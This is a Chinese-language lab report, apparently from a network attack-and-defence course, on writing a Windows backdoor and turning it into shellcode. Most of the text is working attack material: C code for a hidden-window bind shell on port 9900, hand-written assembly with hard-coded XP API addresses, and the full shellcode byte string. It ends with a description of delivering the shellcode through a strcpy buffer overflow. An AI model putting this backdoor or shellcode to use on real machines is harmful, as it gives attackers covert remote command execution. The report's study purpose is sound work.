目的
了解socket网络编程技术、进程间的管道通信技术,了解匿名管道与命名管道的作用于区别、父子程序间使用管道的相关知识、熟悉网络攻防中的后门技术,熟悉shellcode的源代码到汇编的转化以及机械码的转化、了解Telnet的功能。
简介
环境
PC机、VMware Workstation、VC++6.0、命令控制符、WindowsXP系统。
实现步骤
设计思路
1.网络之间的通信
使用socket编程技术实现在网络中主机之间的通信,一台作为服务器一台作为客户端,建立一个套接字Socket并对相应的端口进行绑定、监听,客户端也建立一个套接字,直接连接服务器监听的端口,双方建立连接后,服务器和客户端便可以开始数据的相互传输,此功能通过socket来完成。
2.进程之间的通信
要达到远程控制的效果,就必须打开服务器端的cmd命令提示符程序,并且把cmd的信息读取传给客户端、同时能够把客户端的指令发送给服务器上的cmd进程让其运行。要实现这个要求,就必须使用进程间的通信手段,即管道通信。服务器程序作为父进程产生一个打开cmd的子进程,并使用管道和子进程通信,实现进程之间的信息交流,同时把信息通过socket传给网络上的客户端主机。管道通信的示意图如下:
3.程序的C语言代码
#include<winsock2.h>
#include<stdio.h>
#include<process.h>
#pragma comment(lib,"ws2_32")
int main(int argc,char **argv)
{
WSAData wsa;
WORD wVersion;
int ret;
wVersion = MAKEWORD(2,0);
WSAStartup(wVersion,&wsa);
SOCKET ss;
ss=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
SOCKADDR_IN saddr;
saddr.sin_family=AF_INET;
saddr.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
saddr.sin_port=htons(9900);
bind(ss,(SOCKADDR*)&saddr,sizeof(saddr));
listen(ss,2);
SOCKET clientFD;
int size;
size=sizeof(saddr);
clientFD=accept(ss,(struct sockaddr *)&saddr,&size);
char buff[1024];
SECURITY_ATTRIBUTES sa;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
sa.nLength=12;
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=true;
CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.hStdInput=hReadPipe2;
si.hStdOutput=si.hStdError=hWritePipe1;
char cmdLine[]="cmd.exe";
PROCESS_INFORMATION ProcessInformation;
CreateProcessA(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
unsigned long lBytesRead;
while(1)
{
PeekNamedPipe(hReadPipe1,buff,1024,&lBytesRead,0,0);
if(lBytesRead)
{
ret=ReadFile(hReadPipe1,buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(clientFD,buff,lBytesRead,0);
if(ret<=0) break;
}
else
{
lBytesRead=recv(clientFD,buff,1024,0);
if(lBytesRead<=0) break;
ret=WriteFile(hWritePipe2,buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
}
}
WSACleanup();
return 0;
}
①为了代码的简洁性和方便转化成汇编语言和机械码,对socket中许多函数的差错处理条件部分进行了省略,以达到代码的简洁性。
②程序成功运行后,在本机另外开启一个cmd的telnet程序对其进行连接,程序不会显性地打开cmd窗口,因为在程序中把创建的cmd子进程的窗口属性设置为隐藏窗口,所以当在服务器上运行时不会被察觉。
③使用Telnet和服务器程序连接成功后,由于每次先要有数据发送过去服务器才会有相应,所以会出现输入第一个字符时会自动换行的现象,这不影响程序的实控制功能。
代码运行后,打开Telnet,输入主机ip地址和端口号(程序设置为9900),进行对服务器端的控制。
使用telnet命令连接实验主机ip地址192.168.5.129上的9900端口。
连接成功,输入dir指令查看主机上的文件目录
4.生成汇编代码
要转化成汇编代码,不能直接使用VC++6.0 的调试器生成,要对每一个函数的位置进行查看,然后自己分析每段代码在程序中运行的状态,写出相应的汇编代码。在本程序代码中,使用如下的代码查看程序函数在计算机中的内存地址。
函数地址代码:#include<windows.h>
#include<stdio.h>
typedef void (*MYPROC)(LPSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle=LoadLibrary("kernel32");
printf("kernel32 LibHandle=//x%x\n",LibHandle);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"CreatePipe");
printf("Create Pipe=//x%x\n",ProcAdd);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"CreateProcessA");
printf("CreateProcessA =//x%x\n",ProcAdd);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"PeekNamedPipe");
printf("PeekNamedPipe=//x%x\n",ProcAdd);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"WriteFile");
printf("WriteFile=//x%x\n",ProcAdd);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"ReadFile");
printf("ReadFile=//x%x\n",ProcAdd);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"ExitProcess");
printf("ExitProcess=//x%x\n",ProcAdd);
LibHandle=LoadLibrary("ws2_32");
printf("ws2_32 LibHandle=//x%x\n",LibHandle);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"WSAStartup");
printf("WSAStartup=//x%x\n",ProcAdd);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"socket");
printf("socket=//x%x\n",ProcAdd);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"bind");
printf("bind=//x%x\n",ProcAdd);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"listen");
printf("listen=//x%x\n",ProcAdd);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"accept");
printf("accept=//x%x\n",ProcAdd);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"send");
printf("send=//x%x\n",ProcAdd);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"recv");
printf("receive=//x%x\n",ProcAdd);
return 0;
}
函数在内存中地址如图:
不同的系统下函数的入口地址也会不同,根据函数入口和对应程序、函数参数的分析,参考使用VC中的调试器查看汇编代码,可以得到程序的汇编语言代码
生成的汇编代码如下:
push ebp;
sub esp,80;
mov ebp,esp;
//Function save
mov eax,0x7c81d827
mov [ebp+4],eax;//Create Pipe
mov eax,0x7c80236b
mov [ebp+8],eax;//CreateProcesA
mov eax,0x7c860817
mov [ebp+12],eax;//PeekNamedPipe
mov eax,0x7c810e17
mov [ebp+16],eax;//WriteFile
mov eax,0x7c801812
mov [ebp+20],eax;//ReadFile
mov eax,0x7c81cafa
mov [ebp+24],eax;//ExitProcess
mov eax,0x71a26a55
mov [ebp+28],eax;//WSAStartup
mov eax,0x71a24211;
mov [ebp+32],eax;//socket
mov eax,0x71a24480
mov [ebp+36],eax;//bind
mov eax,0x71a28cd3
mov [ebp+40],eax;//listen
mov eax,0x71a31040
mov [ebp+44],eax;//acept
mov eax,0x71a24c27
mov [ebp+48],eax;//send
mov eax,0x71a2676f
mov [ebp+52],eax;//recv
上方为各个函数入口地址,可以根据不同运行环境进行相应的更改。
mov eax,0x0
mov [ebp+56],0
mov [ebp+60],0
mov [ebp+64],0
mov [ebp+68],0
mov [ebp+72],0
LWSAStartup:
sub esp,400
push esp
push 0x202
call [ebp+28]
socket:
push 6
push 1
push 2
call [ebp+32]
mov ebx,eax
LBind:
xor edi,edi
push edi
push edi
mov eax,0xAC260002
push eax
mov esi,esp
push 0x10
push esi
push ebx
call [ebp+36]
LListen:
xor edi,edi
inc edi
inc edi
push edi
push ebx
call [ebp+40]
LAccept:
push 0x10
lea edi,[esp]
push edi
push esi
push ebx
call [ebp+44]
mov ebx,eax
CreatePipe1:
xor edi,edi
inc edi
push edi
xor edi,edi
push edi
push 0xc
mov esi,esp
push edi
push esi
lea eax,[ebp+60]
push eax
lea eax,[ebp+56]
push eax
call [ebp+4]
CreatePipe2:
push edi
push esi
lea eax,[ebp+68]
push eax
lea eax,[ebp+64]
push eax
call [ebp+4]
CreateProcess:
sub esp,0x80
lea edi,[esp]
xor eax,eax
push 0x80
pop ecx
rep stosd
lea edi,[esp]
mov eax,0x0101
mov [edi+2ch],eax
mov eax,[ebp+64]
mov [edi+38h],eax
mov eax,[ebp+60]
mov [edi+3ch],eax
mov eax,[ebp+60]
mov [edi+40h],eax
mov eax,0x00646d63
mov [edi+64h],eax
lea eax,[esp+44h]
push eax
push edi
push ecx
push ecx
push ecx
inc ecx
push ecx
dec ecx
push ecx
push ecx
lea eax,[edi+64h]
push eax
push ecx
call [ebp+8]
Loop1:
sub esp,400h
mov esi,esp
xor ecx,ecx
push ecx
push ecx
lea edi,[ebp+72]
push edi
mov eax,400h
push eax
push esi
mov eax,[ebp+56]
push eax
call [ebp+12]
mov eax,[edi]
test eax,eax
jz recv_command
send_result:
xor ecx,ecx
push ecx
push edi
push [edi]
push esi
push [ebp+56]
call [ebp+20]
xor ecx,ecx
push ecx
push [edi]
push esi
push ebx
call [ebp+48]
jmp Loop1
recv_command:
xor ecx,ecx
push ecx
mov eax,400h
push eax
push esi
push ebx
call [ebp+52]
mov [edi],eax
xor ecx,ecx
push ecx
push edi
push [edi]
push esi
push [ebp+68]
call [ebp+16]
jmp Loop1
end:
}
return 0;
}
使用VC++6.0中的_asm{ }功能进行编译,无错误、并运行成功。接着使用编译器的调试功能,按F10开始编译,在“查看”—>“调试窗口”—>“Disassembly”点击把汇编语言进一步生成机械码。
整理得到机械码:
"\x55\x83\xEC\x50\x8B\xEC\xB8\x27\xD8\x81\x7C\x89\x45\x04\xB8\x6B"
"\x23\x80\x7C\x89\x45\x08\xB8\x17\x08\x86\x7C\x89\x45\x0C\xB8\x17"
"\x0E\x81\x7C\x89\x45\x10\xB8\x12\x18\x80\x7C\x89\x45\x14\xB8\xFA"
"\xCA\x81\x7C\x89\x45\x18\xB8\x55\x6A\xA2\x71\x89\x45\x1C\xB8\x11"
"\x42\xA2\x71\x89\x45\x20\xB8\x80\x44\xA2\x71\x89\x45\x24\xB8\xD3"
"\x8C\xA2\x71\x89\x45\x28\xB8\x40\x10\xA3\x71\x89\x45\x2C\xB8\x27"
"\x4C\xA2\x71\x89\x45\x30\xB8\x6F\x67\xA2\x71\x89\x45\x34\xB8\x00"
"\x00\x00\x00\xC6\x45\x38\x00\xC6\x45\x3C\x00\xC6\x45\x40\x00\xC6"
"\x45\x44\x00\xC6\x45\x48\x00\x81\xEC\x90\x01\x00\x00\x54\x68\x02"
"\x02\x00\x00\xFF\x55\x1C\x6A\x06\x6A\x01\x6A\x02\xFF\x55\x20\x8B"
"\xD8\x33\xFF\x57\x57\xB8\x02\x00\x26\xAC\x50\x8B\xF4\x6A\x10\x56"
"\x53\xFF\x55\x24\x33\xFF\x47\x47\x57\x53\xFF\x55\x28\x6A\x10\x8D"
"\x3C\x24\x57\x56\x53\xFF\x55\x2C\x8B\xD8\x33\xFF\x47\x57\x33\xFF"
"\x57\x6A\x0C\x8B\xF4\x57\x56\x8D\x45\x3C\x50\x8D\x45\x38\x50\xFF"
"\x55\x04\x57\x56\x8D\x45\x44\x50\x8D\x45\x40\x50\xFF\x55\x04\x81"
"\xEC\x80\x00\x00\x00\x8D\x3C\x24\x33\xC0\x68\x80\x00\x00\x00\x59"
"\xF3\xAB\x8D\x3C\x24\xB8\x01\x01\x00\x00\x89\x47\x2C\x8B\x45\x40"
"\x89\x47\x38\x8B\x45\x3C\x89\x47\x3C\x8B\x45\x3C\x89\x47\x40\xB8"
"\x63\x6D\x64\x00\x89\x47\x64\x8D\x44\x24\x44\x50\x57\x51\x51\x51"
"\x41\x51\x49\x51\x51\x8D\x47\x64\x50\x51\xFF\x55\x08\x81\xEC\x00"
"\x04\x00\x00\x8B\xF4\x33\xC9\x51\x51\x8D\x7D\x48\x57\xB8\x00\x04"
"\x00\x00\x50\x56\x8B\x45\x38\x50\xFF\x55\x0C\x8B\x07\x85\xC0\x74"
"\x19\x33\xC9\x51\x57\xFF\x37\x56\xFF\x75\x38\xFF\x55\x14\x33\xC9\x51"
"\xFF\x37\x56\x53\xFF\x55\x30\xEB\xC3\x33\xC9\x51\xB8\x00\x04\x00"
"\x00\x50\x56\x53\xFF\x55\x34\x89\x07\x33\xC9\x51\x57\xFF\x37\x56"
"\xFF\x75\x44\xFF\x55\x10\xEB\xA4";
使用vc编译可以正常运行。
5.利用缓冲区溢出漏洞运行程序
我们使用已经掌握的VC++6.0中的strcpy()函数的缓冲区溢出漏洞来安放我们的shellcode,设计好缓冲区断点,把对应的jmp esp地址和shellcode机械码写入数组,调试程序,实现缓冲区溢出,shellcode开始运行。
总结
Shellcode的设计与编写涉及到十分广泛的知识,包括网络通信、网络协议、网络编程、进程间的通信、子进程、线程的知识等,还需要对底层语言如汇编语言、机械语言有十分熟练的掌握度,以及要懂得计算机函数以及数据的内存分布等知识,更加要熟悉缓冲区溢出等各种常见漏洞。总而言之shellcode的编写对各种计算机与网络有着十分高的要求,并且在调整汇编代码和生成机械码时需要十分耐心与细心,一点小的失误就会使shellcode运行失败。